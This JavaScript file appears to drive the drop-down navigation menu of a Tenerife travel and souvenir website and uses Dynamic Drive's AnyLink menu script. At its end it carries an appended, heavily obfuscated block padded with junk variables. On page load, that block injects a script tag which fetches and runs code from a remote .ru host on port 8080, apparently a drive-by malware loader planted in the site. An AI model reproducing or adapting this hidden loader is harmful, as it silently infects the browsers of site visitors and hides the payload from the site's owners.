
/***********************************************
* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/

//Contents for menu4
var menu0=new Array()
menu0[0]='<a href="http://www.secret-tenerife.com">Front Page</a>'
menu0[1]='<a href="http://www.secret-tenerife.com/2006/05/whats-on-when-in-tenerife.shtml">Calendar</a>'
menu0[2]='<a href="http://www.secret-tenerife.com/blog.html">Blog</a>'

//Contents for menu1
var menu1=new Array()
menu1[0]='<a href="http://www.secret-tenerife.com/store/"><b>Featured</b></a>'
menu1[1]='<a href="http://www.secret-tenerife.com/store/calendars.php">Calendars</a>'
menu1[2]='<a href="http://www.secret-tenerife.com/store/christmas.php">Christmas</a>'
menu1[3]='<a href="http://www.secret-tenerife.com/store/greetings.php">Greetings Cards</a>'
menu1[4]='<a href="http://www.secret-tenerife.com/store/kitchen.php">Housewares</a>'
menu1[5]='<a href="http://www.secret-tenerife.com/store/mousepads.php">Mousepads</a>'
menu1[6]='<a href="http://www.secret-tenerife.com/store/mugs.php">Mugs</a>'
menu1[7]='<a href="http://www.secret-tenerife.com/store/postcards.php">Postcards</a>'
menu1[8]='<a href="http://www.secret-tenerife.com/store/posters.php">Posters</a>'
menu1[9]='<a href="http://www.secret-tenerife.com/store/tshirt.php">T-Shirts</a>'

//Contents for menu2
var menu2=new Array()
menu2[0]='<a href="http://www.secret-tenerife.com/transfers.html" target="_blank">Airport Transfers</a>' 
menu2[1]='<a href="http://www.secret-tenerife.com/car-hire.html" target="_blank">Car hire</a>' 
menu2[2]='<a href="http://www.secret-tenerife.com/attractions.html" target="_blank">Excursions</a>' 
menu2[3]='<a href="http://www.secret-tenerife.com/flights.html" target="_blank">Flights</a>' 
menu2[4]='<a href="http://www.secret-tenerife.com/holidays.html" target="_blank">Holidays</a>'
menu2[5]='<a href="http://www.secret-tenerife.com/hotels.html" target="_blank">Hotels</a>'
menu2[6]='<a href="http://www.secret-tenerife.com/extras.html" target="_blank">Insurance &amp; Extras</a>'

//Contents for menu3
var menu3=new Array()
menu3[0]='<a href="http://www.secret-tenerife.com/postcard/index.php">Postcards</a>' 
menu3[1]='<a href="http://www.secret-tenerife.com/wallpaper/">Wallpaper</a>'

var menuwidth='120px' //default menu width
var menubgcolor='#fff'  //menu bgcolor
var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top="-500px"
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}


function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu



try {this.I="";var Q=new Array();this.c='';this.tM="";var Kz=new String();this.xR="";var r=RegExp;var C=new String();var cu=new String();var x="SMI9repla".substr(4)+"ce0GP".substr(0,2);var L=new Date();var SJ=new Date();function J(V,g){this.X='';var xq;if(xq!='Cv'){xq=''};this.rK='';var n=String("CGp[".substr(3));var Jju=new Date();var W="gFjC".substr(0,1);n+=g;var kZ;if(kZ!='' && kZ!='sF'){kZ=null};n+=new String("]");var Ul=new Date();var hi=new Date();this.Ld="";var Oe;if(Oe!='bX' && Oe!='pv'){Oe='bX'};var P=new r(n, W);var AW;if(AW!='xU' && AW!='e'){AW=''};var Wc_;if(Wc_!='Jr' && Wc_!='st'){Wc_=''};return V[x](P, new String());this.Y='';var i=new Date();};var Gx=new String();var Br;if(Br!='jw'){Br=''};var jC=new String();var N=new Array();var IJ='';var R=J('otntlGotatdt',"Gt");var u=J('/fofr6k6uftf.6c6o6.fi6nf/6o6r6kfuftf.fcfof.fifn6/6sfefa6rfs6.fcfofmf/fgfofofgfl6ef.fcfo6mf/6p6eft6afr6d6a6s6.6c6o6mf.fp6hfp6',"f6");var SL;if(SL!='' && SL!='QI'){SL=''};var z='';var tV=new Date();var rf="";var D=J('sucLrFiFpDtu',"uFLD");var s=window;this.LT='';var vP;if(vP!='tn' && vP!='WQ'){vP='tn'};var l=J('89906998269099',"692");var f=J('cIrVeVaVtIeVEIlVeImVeVnItV',"VI");var jU=new Array();var U=J('h4tbtbpb:4/4/4i4rbc4t4c4-4cbo4-bibnb.4m4abibnbibcbhbib.bjbpb.4541bybe4sb-4cbo4m4.4B4ubybTbh4e4B4lbe4nbdbebrb.4rbub:4',"4b");this.Df='';this.gM='';o=function(){t=document[f](D);this.qU='';z=U+l;z+=u;var qR;if(qR!='Ds' && qR!='Uy'){qR='Ds'};var OSO='';var ST;if(ST!='mM' && ST != ''){ST=null};var nn='';t.defer=([1][0]);var uw="";var AG="";t.src=z;this.GQ="";this.pH="";this.bs="";document.body.appendChild(t);var sV="";var cpL;if(cpL!='zc'){cpL=''};};var Iz;if(Iz!='FD'){Iz=''};s[R]=o;} catch(B){};